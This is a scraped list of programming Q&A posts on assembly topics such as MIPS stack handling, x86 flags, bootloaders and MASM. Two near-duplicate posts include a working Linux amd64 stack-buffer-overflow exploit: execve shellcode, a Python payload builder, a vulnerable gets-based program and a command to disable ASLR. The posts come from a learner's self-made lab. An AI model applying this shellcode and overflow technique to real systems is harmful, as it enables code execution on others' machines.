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  • Is AutoIt "Managed Code"?

    - by Gio Borje
    An extension of my previous thread: http://stackoverflow.com/questions/2634531/c-wrapping-an-application-within-another-application So I'm launching embedded resource applications via Reflection and I'm unsure whether I can use AutoIt (.au3) files or not. People say it needs to be "Managed Code". I'm not completely sure what that means nor do I know if AutoIt has that characteristic.

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  • MIPS return address in main

    - by Alexander
    I am confused why in the code below I need to decrement the stack pointer and store the return address again. If I don't do that... then PCSpim keeps on looping.. Why is that? ######################################################################################################################## ### main ######################################################################################################################## .text .globl main main: addi $sp, $sp, -4 # Make space on stack sw $ra, 0($sp) # Save return address # Start test 1 ############################################################ la $a0, asize1 # 1st parameter: address of asize1[0] la $a1, frame1 # 2nd parameter: address of frame1[0] la $a2, window1 # 3rd parameter: address of window1[0] jal vbsme # call function # Printing $v0 add $a0, $v0, $zero # Load $v0 for printing li $v0, 1 # Load the system call numbers syscall # Print newline. la $a0, newline # Load value for printing li $v0, 4 # Load the system call numbers syscall # Printing $v1 add $a0, $v1, $zero # Load $v1 for printing li $v0, 1 # Load the system call numbers syscall # Print newline. la $a0, newline # Load value for printing li $v0, 4 # Load the system call numbers syscall # Print newline. la $a0, newline # Load value for printing li $v0, 4 # Load the system call numbers syscall ############################################################ # End of test 1 lw $ra, 0($sp) # Restore return address addi $sp, $sp, 4 # Restore stack pointer jr $ra # Return ######################################################################################################################## ### vbsme ######################################################################################################################## #.text .globl vbsme vbsme: addi $sp, $sp, -4 # create space on the stack pointer sw $ra, 0($sp) # save return address exit: add $v1, $t5, $zero # (v1) x coordinate of the block in the frame with the minimum SAD add $v0, $t4, $zero # (v0) y coordinate of the block in the frame with the minimum SAD lw $ra, 0($sp) # restore return address addi $sp, $sp, 4 # restore stack pointer jr $ra # return If I delete: addi $sp, $sp, -4 # create space on the stack pointer sw $ra, 0($sp) # save return address and lw $ra, 0($sp) # restore return address addi $sp, $sp, 4 # restore stack pointer on vbsme: PCSpim keeps on running... Why??? I shouldn't have to increment/decrement the stack pointer on vbsme and then do the jr again right? The jal in main is supposed to handle that

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  • Need to call COM component using reflections in C#.NET

    - by Usman
    Hello, I need to determin the COM component(unmanaged code) type and invoke the exposed interface's methods using reflection in C#.NET at runtime. 1 -- First What member of "Type" tells that type is COM component and we can take CLSID at runtime? Is Type.COMObject? 2 -- I need to call methods of exposed interfaces as they called in unmanaged code using CoCreateInstance by passing CLSID and REFID ... I am using InvokeMember but it returns null or 0 as out parameter. How to pass out parameter in this case.? Is there any need to pass out parameter? As all my COM unamanged code suppose to take las parameter as an OUT parameter and after executing it puts the result into that out param. But I've converted all my unmanged COM code to .NET managed assemblies using tlbimp.exe. Regards Usman

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  • the carry flag issue!

    - by Zia ur Rahman
    Suppose AX =FFFE and BX=1234 now if we write cmp ax,bx (bx will be subtracted from ax and the approprite flages will be updated) now the binary representation of the numbers in ax and bx is given by AX = 1111 1111 1111 1110 BX= 0001 0010 0011 0100 As bx will be subtracted from ax so we have to negate bx (as Result= ax+(-bx)) so the negated bx (2's complement of bx ) is given by. BX= 1110 1101 1100 1100 Now we add both ax and bx (as subtraction is implemented by addition in computer) AX= 1111 1111 1111 1110 BX= 1110 1101 1100 1100 ------------------------------------ 1 1110 1101 1100 1010 Now as you can see the result is of 17 bits now the 17th bit should go into carry flage, but when i checked it the carry flag is 0 that is CF=0 why?

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  • teaching my self Z/OS assembler?

    - by Jared
    'I've interned at a company that does a lot of mainframe work. Most of my mainframe experience has been using Java and Unix System Services. I've had some experience with the ISPF interface and C but none with assembler. I’m graduating shortly and will be taking an independent study my last semester. I’d like to stick with the mainframe and was wondering what resources could teach me mainframe assembler? Note I don’t have experience writing assembler for any platform but do understand binary, hex, and have a theoretical understanding of registers.

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  • x86 opcode alignment references and guidelines

    - by mrjoltcola
    I'm generating some opcodes dynamically in a JIT compiler and I'm looking for guidelines for opcode alignment. 1) I've read comments that briefly "recommend" alignment by adding nops after calls 2) I've also read about using nop for optimizing sequences for parallelism. 3) I've read that alignment of ops is good for "cache" performance Usually these comments don't give any supporting references. Its one thing to read a blog or a comment that says, "its a good idea to do such and such", but its another to actually write a compiler that implements specific op sequences and realize most material online, especially blogs, are not useful for practical application. So I'm a believer in finding things out myself (disassembly, etc. to see what real world apps do). This is one case where I need some outside info. I notice compilers will usually start an odd byte instruction immediately after whatever previous instruction sequence there was. So the compiler is not taking any special care in most cases. I see "nop" here or there, but usually it seems nop is used sparingly, if at all. How critical is opcode alignment? Can you provide references for cases that I can actually use for implementation? Thanks.

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  • Equivalents to Z80 DJNZ instruction on other architectures?

    - by Justin Ethier
    First a little background. The z80 CPU has an instruction called DJNZ which can be used in a similar manner as a for loop. Basically DJNZ decrements the B register and jumps to a label if not zero. For example: ld b,96 ; erase all of the line disp_version_erase_loop: call _vputblank ; erase pixels at cursor (uses b reg) djnz disp_version_erase_loop ; loop Of course you can do the same thing using regular comparison and jump instructions, but often it is handy to use the single instruction. With that out of the way, my question is, do other CPU architectures include a similar control instruction?

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  • Polled I/O on MIPS

    - by Krewie
    Hello , i'm currently implementing a calculator in MIPS which uses the polled I/O method for fetching information. I put a beq $v0, 120, exit # exit if input = ('x') on the main part of the code to tell that whenever something is fetched is equal to x, it should branch the exit function. The only problem is that my code works fine with the keyboard/display simulator on MARS but i get the interrupt exception 6 on SPIM. Why is this happening and how can i help it ? //Thx in advance

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  • Problem with bootstrap loader and kernel

    - by dboarman-FissureStudios
    We are working on a project to learn how to write a kernel and learn the ins and outs. We have a bootstrap loader written and it appears to work. However we are having a problem with the kernel loading. I'll start with the first part: bootloader.asm: [BITS 16] [ORG 0x0000] ; ; all the stuff in between ; ; the bottom of the bootstrap loader datasector dw 0x0000 cluster dw 0x0000 ImageName db "KERNEL SYS" msgLoading db 0x0D, 0x0A, "Loading Kernel Shell", 0x0D, 0x0A, 0x00 msgCRLF db 0x0D, 0x0A, 0x00 msgProgress db ".", 0x00 msgFailure db 0x0D, 0x0A, "ERROR : Press key to reboot", 0x00 TIMES 510-($-$$) DB 0 DW 0xAA55 ;************************************************************************* The bootloader.asm is too long for the editor without causing it to chug and choke. In addition, the bootloader and kernel do work within bochs as we do get the message "Welcome to our OS". Anyway, the following is what we have for a kernel at this point. kernel.asm: [BITS 16] [ORG 0x0000] [SEGMENT .text] ; code segment mov ax, 0x0100 ; location where kernel is loaded mov ds, ax mov es, ax cli mov ss, ax ; stack segment mov sp, 0xFFFF ; stack pointer at 64k limit sti mov si, strWelcomeMsg ; load message call _disp_str mov ah, 0x00 int 0x16 ; interrupt: await keypress int 0x19 ; interrupt: reboot _disp_str: lodsb ; load next character or al, al ; test for NUL character jz .DONE mov ah, 0x0E ; BIOS teletype mov bh, 0x00 ; display page 0 mov bl, 0x07 ; text attribute int 0x10 ; interrupt: invoke BIOS jmp _disp_str .DONE: ret [SEGMENT .data] ; initialized data segment strWelcomeMsg db "Welcome to our OS", 0x00 [SEGMENT .bss] ; uninitialized data segment Using nasm 2.06rc2 I compile as such: nasm bootloader.asm -o bootloader.bin -f bin nasm kernel.asm -o kernel.sys -f bin We write bootloader.bin to the floppy as such: dd if=bootloader.bin bs=512 count=1 of/dev/fd0 We write kernel.sys to the floppy as such: cp kernel.sys /dev/fd0 As I stated, this works in bochs. But booting from the floppy we get output like so: Loading Kernel Shell ........... ERROR : Press key to reboot Other specifics: OpenSUSE 11.2, GNOME desktop, AMD x64 Any other information I may have missed, feel free to ask. I tried to get everything in here that would be needed. If I need to, I can find a way to get the entire bootloader.asm posted somewhere. We are not really interested in using GRUB either for several reasons. This could change, but we want to see this boot successful before we really consider GRUB.

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  • branch prediction

    - by Alexander
    Consider the following sequence of actual outcomes for a single static branch. T means the branch is taken. N means the branch is not taken. For this question, assume that this is the only branch in the program. T T T N T N T T T N T N T T T N T N Assume a two-level branch predictor that uses one bit of branch history—i.e., a one-bit BHR. Since there is only one branch in the program, it does not matter how the BHR is concatenated with the branch PC to index the BHT. Assume that the BHT uses one-bit counters and that, again, all entries are initialized to N. Which of the branches in this sequence would be mis-predicted? Use the table below. Now I am not asking answers to this question, rather than guides and pointers on this. What does a two level branch predictor means and how does it works? What does the BHR and BHT stands for?

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Passing paramenters on the stack

    - by oxinabox.ucc.asn.au
    When you pass parameters to a function on the cpu stack, You put the parameters on then JSR puts the return address on the stack. So than means in your function you must take the top item of the stack (the return address) before you can take the others off) eg is the following the correct way to go about it: ... |Let’s do some addition with a function, MOVE.L #4, -(SP) MOVE.L #5, -(SP) JSR add |the result of the addition (4+5) is in D0 (9) ... add: MOVE.L (SP)+, A1 |store the return address |in a register MOVE.L D0, -(SP) |get 1st parameter, put in D0 MOVE.L D2, -(SP) |get 2nd parameter, put in D0 ADD.L D2, D0 |add them, |storing the result in D0 MOVE.L A1, -(SP) |put the address back on the |Stack RTS |return

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  • How to keep unreachable code?

    - by Gabriel
    I'd like to write a function that would have some optional code to execute or not depending on user settings. The function is cpu-intensive and having ifs in it would be slow since the branch predictor is not that good. My idea is making a copy in memory of the function and replace NOPs with jumps when I don't want to execute some code. My working example goes like this: int Test() { int x = 2; for (int i=0 ; i<10 ; i++) { x *= 2; __asm {NOP}; // to skip it replace this __asm {NOP}; // by JMP 2 (after the goto) x *= 2; // Op to skip or not x *= 2; } return x; } In my test's main, I copy this function into a newly allocated executable memory and replace the NOPs by a JMP 2 so that the following x *= 2 is not executed. The problem is that I would have to change the JMP operand every time I change the code to be skipped. An alternative that would fix this problem would be: __asm {NOP}; // to skip it replace this __asm {NOP}; // by JMP 2 (after the goto) goto dont_do_it; x *= 2; // Op to skip or not dont_do_it: x *= 2; This way, as a goto uses 2 bytes of binary, I would be able to replace the NOPs by a fixed JMP of alway 2 in order to skip the goto. Unfortunately, in full optimization mode, the goto and the x*=2 are removed because they are unreachable at compilation time. Hence the need to keep that dead code.

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  • Doubt about the Intel's IA-32 software developer manual

    - by Francesco Turco
    I'm studying the Intel's IA-32 software developer manual. In particular, I'm reading the following manual: http://www.intel.com/Assets/PDF/manual/253666.pdf. Let's take for example the ADD instruction. On page 79 it is written that you can an r8 (8-bit register) to an r/m8 (8-bit register or memory location). A few rows below, it is also written that you can add an r/m8 to an r8. The question is: if I add two 8-bit registers, which instruction I am using? Thanks.

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  • High level macro not recognized - Beginner MASM

    - by Francisco P.
    main proc finit .while ang < 91 invoke func, ang fstp res print real8$(ang), 13, 10 print real8$(res), 13, 10 fld ang fld1 fadd fstp ang .endw ret main endp What's wrong with this piece of MASM code? I get an error on .endw. I have ran some tests to ensure myself of that. Assembler tells me invalid instruction operands. Thank you for your time!

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  • why gcc 4.x default reserve 8 bytes for stack on linux when calling a method?

    - by nikcname
    as a beginner of asm, I am checking gcc -S generated asm code to learn. why gcc 4.x default reserve 8 bytes for stack when calling a method? func18 is the empty function with no return no param no local var defined. I can't figure out why 8 bytes is reserved here (neither any forum/site mention for the reason, ppl seems take it for granted) is it for the %ebp just push? or return type?! many thx! .globl _func18 _func18: pushl %ebp movl %esp, %ebp subl $8, %esp .text

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  • why gcc 4.x default reserve 8 bytes for stack on linux when calling a method?

    - by nikcname
    as a beginner of asm, I am checking gcc -S generated asm code to learn. why gcc 4.x default reserve 8 bytes for stack when calling a method? func18 is the empty function with no return no param no local var defined. I can't figure out why 8 bytes is reserved here (neither any forum/site mention for the reason, ppl seems take it for granted) is it for the %ebp just push? or return type?! many thx! .globl _func18 _func18: pushl %ebp movl %esp, %ebp subl $8, %esp .text

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  • output byte value in assembler

    - by altvali
    I'm a bit ashamed about asking this, but how do i output the value of a byte in assembler? Suppose I have the number 62 in the AL register. I'm targeting an 8086. There seem to be available only interrupts that output it's ascii value.

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • reading a BYTE as a DWORD in Masm

    - by Help I'm in college
    Hi, once again I'm doing MASM programming. I'm trying to write a procedure using the Irvine32 library where the user enters a string which is put into an array of BYTEs with ReadString. Then it loops over that arrray and determines if each character is a number. However, when I try cmp [buffer + ecx], 30h MASM complains about comparing two things that are not the same size. Is there anyway I could read the ASCII code in each BYTE in the array as a DWORD (or otherwise extract the ASCII value in each BYTE)?

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  • Address of function is not actual code address

    - by mrjoltcola
    Debugging some code in Visual Studio 2008 (C++), I noticed that the address in my function pointer variable is not the actual address of the function itself. This is an extern "C" function. int main() { void (*printaddr)(const char *) = &print; // debug shows printaddr == 0x013C1429 } Address: 0x013C4F10 void print() { ... } The disassembly of taking the function address is: void (*printaddr)(const char *) = &print; 013C7465 C7 45 BC 29 14 3C 01 mov dword ptr [printaddr],offset print (13C1429h) What am I missing?

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  • How is return address specified in stack?

    - by Mask
    This is what I see by disassemble for the statement function(1,2,3);: movl $0x3,0x8(%esp) movl $0x2,0x4(%esp) movl $0x1,(%esp) call 0x4012d0 <_Z8functioniii> It seems the ret address is not pushed into stack at all,then how does ret work?

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